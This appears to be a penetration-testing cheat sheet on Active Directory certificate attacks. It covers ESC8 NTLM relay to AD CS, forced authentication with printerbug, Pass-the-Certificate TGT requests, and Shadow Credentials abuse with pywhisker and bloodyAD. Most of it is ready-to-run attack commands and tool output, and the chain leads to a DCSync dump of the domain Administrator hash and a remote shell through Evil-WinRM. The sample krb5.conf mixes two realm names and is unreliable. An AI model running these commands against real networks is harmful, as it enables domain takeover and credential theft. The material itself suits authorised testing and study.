Skip to main content

Pass the Certificate

PKINIT (Public Key Cryptography for Initial Authentication) is a Kerberos extension that allows users to authenticate using X.509 certificates. Attackers can abuse this to request Ticket Granting Tickets (TGTs) by leveraging misconfigured Active Directory Certificate Services (AD CS).

Pass-the-Certificate is a technique to use an X.509 certificate (typically a .pfx file) to:

  • Authenticate via PKINIT (Kerberos pre-auth using public keys).
  • Request a TGT (Ticket Granting Ticket).
  • Carry out attacks like DCSync, lateral movement, etc.
  • You can get a cert via ESC8, then use Pass-the-Certificate to abuse it.
  • But Pass-the-Certificate can be done using certificates obtained through other means too (e.g., Shadow Credentials, stolen certs, or other AD CS misconfigs like ESC1–ESC7).

ESC8 – NTLM Relay to AD CS

ESC8, is an NTLM relay attack that exploits the HTTP-based certificate enrollment feature in Active Directory Certificate Services (ADCS). ADCS can provide several certificate enrollment methods, and one common option is web enrollment, which—by default—runs over HTTP. When this feature is enabled, the Certificate Authority usually serves the enrollment interface at the /CertSrv path.

Attack Flow

  1. Setup NTLM Relay to AD CS:

    If the AD CS web enrollment is available at /certsrv, use ntlmrelayx to relay incoming SMB/HTTP authentication attempts to it:

    sudo python3 /opt/impacket/examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
info

The --template value depends on the environment and can be found using certipy.

# TODO: certipy find -u 'bhide' -hashes '9d995<snip>' -dc-ip 10.10.10.10 -vulnerable -text -enabled 
  1. Force Authentication Using Printer Bug:

    Trigger the target domain controller (DC01) to authenticate to the attacker-controlled host:

    python3 printerbug.py rezydev.local/jethalal:"Jethalal123@"@10.10.10.10 10.10.10.11

    If successful, ntlmrelayx will capture and relay the authentication, request a certificate on behalf of the DC, and save it:

    [*] GOT CERTIFICATE! ID 8
    [*] Writing PKCS#12 certificate to ./DC01$.pfx
  2. Requesting a TGT via Pass-the-Certificate:

    Use gettgtpkinit.py (REPO-TO-DOWNLOAD) to request a TGT using the certificate:

    (.venv) ╭─root@dev /opt/PKINITtools
    ╰─➤ python3 gettgtpkinit.py -cert-pfx ./DC01\$.pfx -dc-ip 10.10.10.10 'rezydev.local/dc01$' /tmp/dc.ccache
  3. DCSync using the DC’s Ticket:

    With the TGT, extract the Administrator hash:

    export KRB5CCNAME=/tmp/dc.ccache
    secretsdump.py -k -no-pass -dc-ip 10.10.10.10 -just-dc-user Administrator 'rezydev.local/dc01$'@dc01.rezydev.local

    # We can use NetExec as well.


Shadow Credentials Attack

info

If a user (jethalal) has write access to another user’s (bhide) msDS-KeyCredentialLink attribute, this allows certificate-based impersonation using Shadow Credentials.

  1. Abuse Shadow Credentials with pywhisker:

    pywhisker --dc-ip 10.10.10.10 -d rezydev.local -u jethalal -p 'bhide' --target bhide --action add

    This generates a PFX file like eFUVVTPf.pfx with a password, and writes the certificate public key to the target account.

  2. Obtain a TGT for the Target User:

    python3 gettgtpkinit.py -cert-pfx eFUVVTPf.pfx -pfx-pass 'PASS-FROM-PYWHISKER-OUTPUT' -dc-ip 10.10.10.10 rezydev.local/bhide /tmp/bhide.ccache
  3. Pass-the-Ticket (Kerberos Authentication):

    export KRB5CCNAME=/tmp/bhide.ccache
    klist

Easy Win using bloodyAD

bloodyAD --host 10.10.10.10 -u 'jethalal' -p 'Coolpass123@' -d rezydev.local add shadowCredentials 'bhide'

[+] KeyCredential generated with following sha256 of RSA key: <SNIP>
[+] TGT stored in ccache file bhide_Yq.ccache

NT: 9d995e5865f9dbfc701<SNIP>

Use Evil-WinRM with Kerberos Auth

Ensure krb5.conf is configured, then:

evil-winrm -i dc01.rezydev.local -r rezydev.local
Sample krb5.conf file:
[libdefaults]
default_realm = REZYDEV.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true

[realms]
MIRAGE.HTB = {
kdc = dc01.rezydev.local
admin_server = dc01.rezydev.local
}

[domain_realm]
.mirage.htb = REZYDEV.LOCAL
mirage.htb = REZYDEV.LOCAL

Notes

  • If PKINIT isn’t supported for the victim, use tools like PassTheCert to authenticate over LDAPS and escalate privileges.
  • Always verify certificate templates, and the availability of the /certsrv web enrollment endpoint.